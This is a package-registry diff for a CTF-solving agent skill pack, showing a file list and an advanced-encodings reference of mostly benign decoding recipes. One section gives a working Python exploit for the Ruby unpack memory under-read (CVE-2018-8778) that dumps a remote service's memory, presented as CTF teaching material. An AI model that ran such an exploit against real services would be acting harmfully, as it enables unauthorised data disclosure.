ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,504 @@
1
+ # CTF Misc - Advanced Encodings & Specialized Formats
2
+
3
+ ## Table of Contents
4
+ - [Verilog/HDL](#veriloghdl)
5
+ - [Gray Code Cyclic Encoding (EHAX 2026)](#gray-code-cyclic-encoding-ehax-2026)
6
+ - [Binary Tree Key Encoding](#binary-tree-key-encoding)
7
+ - [RTF Custom Tag Data Extraction (VolgaCTF 2013)](#rtf-custom-tag-data-extraction-volgactf-2013)
8
+ - [SMS PDU Decoding and Reassembly (RuCTF 2013)](#sms-pdu-decoding-and-reassembly-ructf-2013)
9
+ - [Automated Multi-Encoding Sequential Solver (HackIM 2016)](#automated-multi-encoding-sequential-solver-hackim-2016)
10
+ - [RFC 4042 UTF-9 Decoding (SECCON 2015)](#rfc-4042-utf-9-decoding-seccon-2015)
11
+ - [Pixel Color Binary Encoding (Break In 2016)](#pixel-color-binary-encoding-break-in-2016)
12
+ - [Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)](#hexadecimal-sudoku--qr-assembly-bsidessf-2026)
13
+ - [TOPKEK Binary Encoding (Hack The Vote 2016)](#topkek-binary-encoding-hack-the-vote-2016)
14
+ - [MaxiCode 2D Barcode Decoding (CSAW CTF 2016)](#maxicode-2d-barcode-decoding-csaw-ctf-2016)
15
+ - [DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)](#dtmf-audio-with-multi-tap-phone-keypad-decoding-h4ckc0n-2017)
16
+ - [Music Note Interval Steganography (DefCamp 2017)](#music-note-interval-steganography-defcamp-2017)
17
+ - [Ruby Array#unpack Buffer Under-Read CVE-2018-8778 (Codegate 2019)](#ruby-arrayunpack-buffer-under-read-cve-2018-8778-codegate-2019)
18
+ - [Binary Grid Text to QR Image + XOR Key (Pragyan CTF 2019)](#binary-grid-text-to-qr-image--xor-key-pragyan-ctf-2019)
19
+
20
+ ---
21
+
22
+ ## Verilog/HDL
23
+
24
+ ```python
25
+ # Translate Verilog logic to Python
26
+ def verilog_module(input_byte):
27
+ wire_a = (input_byte >> 4) & 0xF
28
+ wire_b = input_byte & 0xF
29
+ return wire_a ^ wire_b
30
+ ```
31
+
32
+ ---
33
+
34
+ ## Gray Code Cyclic Encoding (EHAX 2026)
35
+
36
+ **Pattern (#808080):** Web interface with a circular wheel (5 concentric circles = 5 bits, 32 positions). Must fill in a valid Gray code sequence where consecutive values differ by exactly one bit.
37
+
38
+ **Gray code properties:**
39
+ - N-bit Gray code has 2^N unique values
40
+ - Adjacent values differ by exactly 1 bit (Hamming distance = 1)
41
+ - The sequence is **cyclic** — rotating the start position produces another valid sequence
42
+ - Standard conversion: `gray = n ^ (n >> 1)`
43
+
44
+ ```python
45
+ # Generate N-bit Gray code sequence
46
+ def gray_code(n_bits):
47
+ return [i ^ (i >> 1) for i in range(1 << n_bits)]
48
+
49
+ # 5-bit Gray code: 32 values
50
+ seq = gray_code(5)
51
+ # [0, 1, 3, 2, 6, 7, 5, 4, 12, 13, 15, 14, 10, 11, 9, 8, ...]
52
+
53
+ # Rotate sequence by k positions (cyclic property)
54
+ def rotate(seq, k):
55
+ return seq[k:] + seq[:k]
56
+
57
+ # If decoded output is ROT-N shifted, rotate the Gray code start by N positions
58
+ rotated = rotate(seq, 4) # Shift start by 4
59
+ ```
60
+
61
+ **Key insight:** If the decoded output looks correct but shifted (e.g., ROT-4), the Gray code start position needs cyclic rotation by the same offset. The cyclic property guarantees all rotations remain valid Gray codes.
62
+
63
+ **Wheel mapping:** Each concentric circle = one bit position. Innermost = bit 0, outermost = bit N-1. Read bits at each angular position to build N-bit values.
64
+
65
+ ---
66
+
67
+ ## Binary Tree Key Encoding
68
+
69
+ **Encoding:** `'0' → j = j*2 + 1`, `'1' → j = j*2 + 2`
70
+
71
+ **Decoding:**
72
+ ```python
73
+ def decode_path(index):
74
+ path = ""
75
+ while index != 0:
76
+ if index & 1: # Odd = left ('0')
77
+ path += "0"
78
+ index = (index - 1) // 2
79
+ else: # Even = right ('1')
80
+ path += "1"
81
+ index = (index - 2) // 2
82
+ return path[::-1]
83
+ ```
84
+
85
+ ---
86
+
87
+ ## RTF Custom Tag Data Extraction (VolgaCTF 2013)
88
+
89
+ **Pattern:** Data hidden inside custom RTF control sequences (e.g., `{\*\volgactf412 [DATA]}`). Extract numbered blocks, sort by index, concatenate, and base64-decode.
90
+
91
+ ```python
92
+ import re, base64
93
+
94
+ rtf = open('document.rtf', 'r').read()
95
+ # Extract custom tags: {\*\volgactf<N> <DATA>}
96
+ blocks = re.findall(r'\{\\\*\\volgactf(\d+)\s+([^}]+)\}', rtf)
97
+ blocks.sort(key=lambda x: int(x[0])) # Sort by numeric index
98
+ payload = ''.join(data for _, data in blocks)
99
+ flag = base64.b64decode(payload)
100
+ ```
101
+
102
+ **Key insight:** RTF files support custom control sequences prefixed with `\*` (ignorable destinations). Malicious or challenge data hides in these ignored fields — standard RTF viewers skip them. Look for non-standard `\*\` tags with `grep -oP '\\\\\\*\\\\[a-z]+\d*' document.rtf`.
103
+
104
+ ---
105
+
106
+ ## SMS PDU Decoding and Reassembly (RuCTF 2013)
107
+
108
+ **Pattern:** Intercepted hex strings are GSM SMS-SUBMIT PDU (Protocol Data Unit) frames. Concatenated SMS messages require UDH (User Data Header) reassembly by sequence number.
109
+
110
+ ```python
111
+ from smspdu import SMS_SUBMIT
112
+
113
+ # Read PDU hex strings (one per line)
114
+ pdus = [line.strip() for line in open('sms_intercept.txt')]
115
+
116
+ # Sort by concatenation sequence number (bytes 38-40 in hex)
117
+ pdus.sort(key=lambda pdu: int(pdu[38:40], 16))
118
+
119
+ # Extract and concatenate user data
120
+ payload = b''
121
+ for pdu in pdus:
122
+ sms = SMS_SUBMIT.fromPDU(pdu[2:], '') # Skip first byte (SMSC length)
123
+ payload += sms.user_data.encode() if isinstance(sms.user_data, str) else sms.user_data
124
+
125
+ # Payload is often base64 — decode to get embedded file
126
+ import base64
127
+ with open('output.png', 'wb') as f:
128
+ f.write(base64.b64decode(payload))
129
+ ```
130
+
131
+ **Key insight:** SMS PDU format: `0041000B91` prefix identifies SMS-SUBMIT. UDH field at bytes 29-40 contains `05000301XXYY` where XX=total parts, YY=sequence number. Install `smspdu` library (`pip install smspdu`) for automated parsing. Output is often a base64-encoded image — use reverse image search to identify the subject.
132
+
133
+ ---
134
+
135
+ ## Automated Multi-Encoding Sequential Solver (HackIM 2016)
136
+
137
+ Some challenges require decoding 25+ sequential layers of different encodings. Build an automated decoder:
138
+
139
+ ```python
140
+ import base64, zlib, bz2, codecs
141
+
142
+ def auto_decode(data):
143
+ """Try each encoding and return first successful decode"""
144
+ decoders = [
145
+ ('base64', lambda d: base64.b64decode(d)),
146
+ ('base32', lambda d: base64.b32decode(d)),
147
+ ('base16', lambda d: base64.b16decode(d.upper())),
148
+ ('zlib', lambda d: zlib.decompress(d if isinstance(d, bytes) else d.encode())),
149
+ ('bz2', lambda d: bz2.decompress(d if isinstance(d, bytes) else d.encode())),
150
+ ('rot13', lambda d: codecs.decode(d, 'rot_13')),
151
+ ('hex', lambda d: bytes.fromhex(d if isinstance(d, str) else d.decode())),
152
+ ('binary', lambda d: bytes(int(d[i:i+8], 2) for i in range(0, len(d.strip()), 8))),
153
+ ('ebcdic', lambda d: d.decode('cp500') if isinstance(d, bytes) else d.encode().decode('cp500')),
154
+ ]
155
+
156
+ for name, decoder in decoders:
157
+ try:
158
+ result = decoder(data)
159
+ if result and len(result) > 0:
160
+ return name, result
161
+ except:
162
+ continue
163
+ return None, data
164
+
165
+ # Chain decoder
166
+ data = initial_input
167
+ for i in range(50): # Max layers
168
+ name, data = auto_decode(data)
169
+ if name is None:
170
+ break
171
+ print(f"Layer {i}: {name}")
172
+ ```
173
+
174
+ Add Brainfuck detection (presence of `+-<>[].,` characters only) and other esoteric languages as needed.
175
+
176
+ ---
177
+
178
+ ## RFC 4042 UTF-9 Decoding (SECCON 2015)
179
+
180
+ RFC 4042 (April Fools' RFC) defines UTF-9, a 9-bit encoding for Unicode on systems with 9-bit bytes:
181
+
182
+ - Each 9-bit "byte" has a continuation bit (MSB): 1 = more bytes follow, 0 = last byte
183
+ - Lower 8 bits contain character data
184
+ - Multi-byte sequences concatenate the 8-bit portions
185
+
186
+ ```python
187
+ def decode_utf9(data_bits):
188
+ """Decode UTF-9 from a bitstring"""
189
+ chars = []
190
+ i = 0
191
+ while i < len(data_bits):
192
+ # Read 9-bit units until continuation bit is 0
193
+ codepoint_bits = ''
194
+ while i + 9 <= len(data_bits):
195
+ continuation = int(data_bits[i])
196
+ codepoint_bits += data_bits[i+1:i+9]
197
+ i += 9
198
+ if continuation == 0:
199
+ break
200
+ if codepoint_bits:
201
+ chars.append(chr(int(codepoint_bits, 2)))
202
+ return ''.join(chars)
203
+
204
+ # Convert octal/hex input to binary first
205
+ binary_string = bin(int(octal_data, 8))[2:]
206
+ result = decode_utf9(binary_string)
207
+ ```
208
+
209
+ **Key insight:** Look for "4042" or "UTF-9" in challenge descriptions. The April Fools' RFC series (RFC 1149, 2549, 4042) occasionally appears in CTFs.
210
+
211
+ ---
212
+
213
+ ## Pixel Color Binary Encoding (Break In 2016)
214
+
215
+ Narrow images (7-8 pixels wide) may encode ASCII characters as binary pixel rows:
216
+
217
+ ```python
218
+ from PIL import Image
219
+
220
+ img = Image.open('challenge.png')
221
+ pixels = img.load()
222
+ width, height = img.size
223
+
224
+ text = ''
225
+ for y in range(height):
226
+ bits = ''
227
+ for x in range(width):
228
+ r, g, b = pixels[x, y][:3]
229
+ # Red pixel = 1, Black pixel = 0 (or white=1, black=0)
230
+ bits += '1' if r > 128 else '0'
231
+
232
+ # Pad to 8 bits if needed (7-pixel-wide images)
233
+ if len(bits) == 7:
234
+ bits = '0' + bits # Prepend leading zero
235
+
236
+ text += chr(int(bits, 2))
237
+
238
+ print(text)
239
+ ```
240
+
241
+ **Key insight:** Image width of 7 or 8 pixels strongly suggests binary character encoding (7-bit ASCII or 8-bit). Check both color channels and brightness thresholds.
242
+
243
+ ---
244
+
245
+ ### Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
246
+
247
+ **Pattern (hexhaustion):** Flag is encoded across 4 QR codes, each containing one quadrant of a 16x16 hexadecimal Sudoku grid. Solve the Sudoku, read the main diagonal values as hex pairs, convert to ASCII for the flag.
248
+
249
+ **Solving steps:**
250
+
251
+ 1. **Scan QR codes:** Use `zbarimg` or `pyzbar` to decode all 4 QR codes
252
+ 2. **Assemble grid:** Each QR contains a quadrant (8x8) with hex values (0-F) and blanks
253
+ 3. **Solve the 16x16 Sudoku:** Standard Sudoku rules apply with hex digits (0-F) — each row, column, and 4x4 box contains each digit exactly once
254
+ 4. **Extract flag:** Read diagonal values `grid[i][i]` for i=0..15, pair into bytes, decode as ASCII
255
+
256
+ ```python
257
+ from itertools import product
258
+
259
+ def solve_hex_sudoku(grid):
260
+ """Solve 16x16 Sudoku with hex digits 0-F using backtracking."""
261
+ digits = set(range(16))
262
+
263
+ def possible(r, c):
264
+ used = set()
265
+ used.update(grid[r]) # Row
266
+ used.update(grid[i][c] for i in range(16)) # Column
267
+ br, bc = (r // 4) * 4, (c // 4) * 4 # 4x4 box
268
+ for i, j in product(range(br, br+4), range(bc, bc+4)):
269
+ used.update({grid[i][j]})
270
+ used.discard(-1) # -1 = blank
271
+ return digits - used
272
+
273
+ def solve():
274
+ for r, c in product(range(16), range(16)):
275
+ if grid[r][c] == -1:
276
+ for d in possible(r, c):
277
+ grid[r][c] = d
278
+ if solve():
279
+ return True
280
+ grid[r][c] = -1
281
+ return False
282
+ return True
283
+
284
+ solve()
285
+ return grid
286
+
287
+ # Read diagonal and convert to ASCII
288
+ solved = solve_hex_sudoku(grid)
289
+ diag_hex = ''.join(format(solved[i][i], 'X') for i in range(16))
290
+ flag = bytes.fromhex(diag_hex).decode('ascii')
291
+ print(flag) # e.g., "HYPOAXIS"
292
+ ```
293
+
294
+ **Key insight:** The QR codes serve as both a distribution mechanism (splitting the puzzle into 4 pieces) and a data encoding layer. The actual flag encoding is in the Sudoku solution's diagonal values interpreted as hex bytes.
295
+
296
+ **When to recognize:** Challenge distributes multiple QR codes, mentions "hex", "nibbles", or "16x16 grid". QR content contains hex characters with blanks/underscores.
297
+
298
+ **References:** BSidesSF 2026 "hexhaustion"
299
+
300
+ ---
301
+
302
+ ### TOPKEK Binary Encoding (Hack The Vote 2016)
303
+
304
+ Custom binary encoding where `KEK` represents bit 0 and `TOP` represents bit 1. Exclamation marks indicate bit repetition count.
305
+
306
+ ```python
307
+ def decode_topkek(encoded):
308
+ """Decode TOPKEK encoding: KEK=0, TOP=1, !=repeat count"""
309
+ tokens = encoded.split()
310
+ bits = ""
311
+
312
+ for token in tokens:
313
+ # Count exclamation marks (repeat count = len - 3)
314
+ base = token.replace('!', '')
315
+ repeats = len(token) - len(base)
316
+ if repeats == 0:
317
+ repeats = 1
318
+
319
+ if base == "KEK":
320
+ bits += "0" * repeats
321
+ elif base == "TOP":
322
+ bits += "1" * repeats
323
+
324
+ # Convert bit string to ASCII
325
+ message = ""
326
+ for i in range(0, len(bits), 8):
327
+ byte = bits[i:i+8]
328
+ if len(byte) == 8:
329
+ message += chr(int(byte, 2))
330
+
331
+ return message
332
+
333
+ # Example: "KEK! TOP!! KEK TOP!"
334
+ # = "0" + "11" + "0" + "1" = "0110 1..."
335
+ ```
336
+
337
+ **Key insight:** TOPKEK is a CTF-specific encoding. Recognize it by the pattern of `TOP`/`KEK` words with varying numbers of `!` suffixes. Each `!` adds one repetition of the corresponding bit value. Decode to binary, then group into 8-bit bytes for ASCII.
338
+
339
+ ---
340
+
341
+ ### MaxiCode 2D Barcode Decoding (CSAW CTF 2016)
342
+
343
+ MaxiCode is a hexagonal 2D barcode used by UPS, occasionally found in CTF forensics challenges.
344
+
345
+ ```bash
346
+ # Identify MaxiCode: distinctive bullseye center pattern
347
+ # with hexagonal dot matrix (unlike QR's square modules)
348
+
349
+ # Decode using zxing library:
350
+ # Online: https://zxing.org/w/decode.jspx (upload image)
351
+
352
+ # Python:
353
+ # pip install zxing pyzbar
354
+ python3 -c "
355
+ from pyzbar.pyzbar import decode
356
+ from PIL import Image
357
+ results = decode(Image.open('maxicode.gif'), symbols=[pyzbar.ZBarSymbol.CODE128])
358
+ # Note: pyzbar may not support MaxiCode directly
359
+ # Use zxing Java library instead:
360
+ "
361
+
362
+ # Java zxing command-line:
363
+ java -cp javase.jar:core.jar com.google.zxing.client.j2se.CommandLineRunner maxicode.gif
364
+
365
+ # Alternative: use online decoders
366
+ # - https://products.aspose.app/barcode/recognize
367
+ # - https://www.onlinebarcodereader.com/
368
+ ```
369
+
370
+ **Key insight:** MaxiCode has a distinctive bullseye center (3 concentric circles) surrounded by a hexagonal grid. Standard QR decoders won't read it. Use zxing (Java) which supports MaxiCode natively, or online barcode decoders. MaxiCode is found in shipping labels, CTF forensics disk images, and embedded in other files.
371
+
372
+ ---
373
+
374
+ ### DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)
375
+
376
+ **Pattern:** Audio file contains DTMF telephone keypad tones. This is a two-layer encoding: first decode tones to a digit sequence, then decode grouped digits as multi-tap phone keypad input (repeated presses select letters).
377
+
378
+ **Step 1 — Decode DTMF tones to digits:** Use Audacity's spectrogram view or an online DTMF decoder to identify tone pairs. Pauses/gaps indicate word or group boundaries.
379
+
380
+ **Step 2 — Decode multi-tap keypad:** Group digits by their key press sequences, then map to letters:
381
+
382
+ ```python
383
+ # Multi-tap decode mapping
384
+ T9 = {
385
+ '2':'a', '22':'b', '222':'c',
386
+ '3':'d', '33':'e', '333':'f',
387
+ '4':'g', '44':'h', '444':'i',
388
+ '5':'j', '55':'k', '555':'l',
389
+ '6':'m', '66':'n', '666':'o',
390
+ '7':'p', '77':'q', '777':'r', '7777':'s',
391
+ '8':'t', '88':'u', '888':'v',
392
+ '9':'w', '99':'x', '999':'y', '9999':'z',
393
+ }
394
+
395
+ def decode_multitap(groups):
396
+ """groups: list of strings like ['444', '88', '2', ...]"""
397
+ return ''.join(T9.get(g, '?') for g in groups)
398
+ ```
399
+
400
+ **Key insight:** Two-layer encoding — DTMF tones encode digits, then digit sequences use multi-tap phone keypad mapping. Use Audacity's spectrogram to identify pause positions for grouping boundaries. Each same-digit run maps to one letter; a pause separates distinct keypresses on the same digit key.
401
+
402
+ ---
403
+
404
+ ### Music Note Interval Steganography (DefCamp 2017)
405
+
406
+ **Pattern:** An MP3 is transcribed to musical notes. The flag is encoded as pairs of notes where each note maps to a nibble (4 bits) based on its position (scale degree) in the D major scale. Two nibbles combine to form one byte/character.
407
+
408
+ **Encoding scheme:**
409
+ - D major scale degrees 0–7 map to nibble values 0–7 (3-bit nibble) or 0–15 (4-bit nibble) depending on variant
410
+ - Each pair of consecutive notes encodes one character: `(note1 << 4) | note2`
411
+ - Known flag prefix/suffix (e.g., `CTF{...}`) at start/end reveals the alphabet mapping
412
+
413
+ **Recovery approach:**
414
+
415
+ ```python
416
+ # Example: D major scale degree → nibble value
417
+ # D=0, E=1, F#=2, G=3, A=4, B=5, C#=6, D(octave)=7
418
+ scale = {'D': 0, 'E': 1, 'F#': 2, 'G': 3, 'A': 4, 'B': 5, 'C#': 6}
419
+
420
+ notes = ['A', 'D', 'G', 'E', ...] # transcribed from audio
421
+
422
+ chars = []
423
+ for i in range(0, len(notes) - 1, 2):
424
+ hi = scale[notes[i]]
425
+ lo = scale[notes[i+1]]
426
+ chars.append(chr((hi << 4) | lo))
427
+
428
+ print(''.join(chars))
429
+ ```
430
+
431
+ **Key insight:** Known plaintext at the start and end (flag format like `CTF{` and `}`) reveals the encoding alphabet — map the known characters back to their note pairs to confirm the scale-degree assignment. Musical scale degree = nibble value; pairs of notes = one byte.
432
+
433
+ ---
434
+
435
+ ## Ruby Array#unpack Buffer Under-Read CVE-2018-8778 (Codegate 2019)
436
+
437
+ **Pattern:** A Ruby service calls `String#unpack` (or `Array#pack`) with an attacker-controlled format string. On pre-2.5.1 Ruby, oversized `@N` offsets are compared with signed integers, so a huge N wraps to a negative pointer offset — `unpack` then reads bytes from memory *before* the string's buffer and emits them as integers. Combined with the common bug of putting user input inside the format (e.g. `input.unpack("C*#{input}.length")`), you get an arbitrary memory dump primitive.
438
+
439
+ ```python
440
+ # Remote Ruby server evaluates: input.unpack("C*#{input}.length")
441
+ # Supplying "@HUGECHUNK1200000" as input builds format "C*@HUGECHUNK1200000.length"
442
+ # which unpack parses as: @<offset> C<count> -> read <count> bytes from far offset.
443
+ import socket
444
+ payload = b'@18446744073708351616C1200000\n1\n' # 2**64 - 0x1C0000
445
+ s = socket.create_connection(('target', 12137))
446
+ s.sendall(payload)
447
+ data = b''
448
+ while True:
449
+ chunk = s.recv(4096)
450
+ if not chunk:
451
+ break
452
+ data += chunk
453
+
454
+ # Each emitted line is one int (byte value from leaked memory)
455
+ import string
456
+ out = ''.join(
457
+ chr(int(line)) for line in data.decode(errors='ignore').splitlines()
458
+ if line.strip().isdigit() and chr(int(line)) in string.printable
459
+ )
460
+ import re
461
+ print(re.findall(r'FLAG\{[^}]*\}', out))
462
+ ```
463
+
464
+ **Key insight:** `String#unpack` is not inherently unsafe — it becomes catastrophic when (a) the format string is attacker-controlled (format-injection pattern, equivalent to `printf` bugs), and (b) the Ruby runtime is pre-2.5.1 (CVE-2018-8778). Huge `@N` offsets leak arbitrary memory. Always audit Ruby services that interpolate user input into `pack`/`unpack`/`sprintf` templates.
465
+
466
+ **References:** Codegate CTF 2019 Preliminary — mini converter, writeup 13209
467
+
468
+ ---
469
+
470
+ ## Binary Grid Text to QR Image + XOR Key (Pragyan CTF 2019)
471
+
472
+ **Pattern:** A text file contains only `0` and `1` characters (often one per line or with random line breaks). Strip whitespace, verify the length is a perfect square (or a known W*H), render as a pixel grid, and decode with `pyzbar`. The QR payload is hex-encoded and must be XORed with a repeating key (commonly `flag` or the challenge name) to reveal the flag.
473
+
474
+ ```python
475
+ from PIL import Image, ImageDraw
476
+ from pyzbar.pyzbar import decode
477
+
478
+ raw = open('01qr').read()
479
+ bits = ''.join(c for c in raw if c in '01')
480
+ # Guess dimensions
481
+ import math
482
+ n = int(math.isqrt(len(bits)))
483
+ assert n * n == len(bits), f'not square: {len(bits)}'
484
+
485
+ scale = 5
486
+ img = Image.new('RGB', (n * scale, n * scale), (255, 255, 255))
487
+ d = ImageDraw.Draw(img)
488
+ for i in range(n):
489
+ for j in range(n):
490
+ if bits[i * n + j] == '0': # 0 == black in this challenge
491
+ d.rectangle((j*scale, i*scale,
492
+ j*scale + scale, i*scale + scale), fill=(0, 0, 0))
493
+ img.save('qr.png')
494
+
495
+ hexstr = decode(img)[0].data.decode()
496
+ ct = bytes.fromhex(hexstr)
497
+ key = b'flag'
498
+ pt = bytes(b ^ key[i % len(key)] for i, b in enumerate(ct))
499
+ print(pt)
500
+ ```
501
+
502
